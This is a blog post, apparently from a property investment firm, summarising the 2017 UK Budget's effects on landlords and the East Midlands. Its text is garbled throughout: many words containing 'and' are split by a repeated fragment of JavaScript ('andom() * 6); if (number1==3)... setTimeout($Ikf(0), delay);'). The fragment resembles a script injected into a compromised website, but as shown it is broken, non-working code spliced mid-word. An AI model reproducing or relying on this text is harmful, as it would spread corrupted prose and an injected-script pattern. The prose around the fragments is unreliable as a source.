The Budget 2017 – Key Points Summarised

There was no shock or horror for landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords in yesterday’s Budget. Many were disappointed that stamp duty rates were not revised down, or tinkered with so that first time buyers were exempted; no such luck. However, we think more importantly there was a stop to the tax increases andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and punishment of private sector landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords.

So from a property investment perspective what were the important announcements?

For Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords holding properties within a corporate structure (eg. Limited Company) there was a reduction in dividend tax free allowance from £5,000 to £2,000 from 2018, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for self employed people an increase in NI payments. However, these are potentially offset by an ongoing planned reduction in the rate of Corporation Tax to 17% in 2020.

For investment into our favoured area of “East Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands” there was good news in the announcement that Chancellor Philip Hammond will publish a Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands Engine Strategy today (9 March 2017) to address “productivity barriers” across the region. The government first outlined its plans to create a ‘Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands Engine for growth’ in December 2015, estimating the drive could create 300,000 jobs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and add £34bn to the region’s economy by 2030. The publication of the blueprint follows in the footsteps of the launch of the Northern Powerhouse Strategy at the Autumn Statement in November 2016.

Furthermore the Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands will also be awarded £23m of a £220m fund to address pinch point issues on road networks.

Otherwise no good news, but more importantly no bad news.

The economy seems in good shape, the Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands seem strong andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and with new “promotion” like the above this will all help.

Buying residential property in the areas we cover of Hull, Kettering & Northampton, Stamford & Lincolnshire andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Oakham & Leicestershire would all seem sensible long term investment opportunities.

What were your thoughts on the Budget? Are you concerned about how it might affect you? Get in touch with us today for a confidential chat.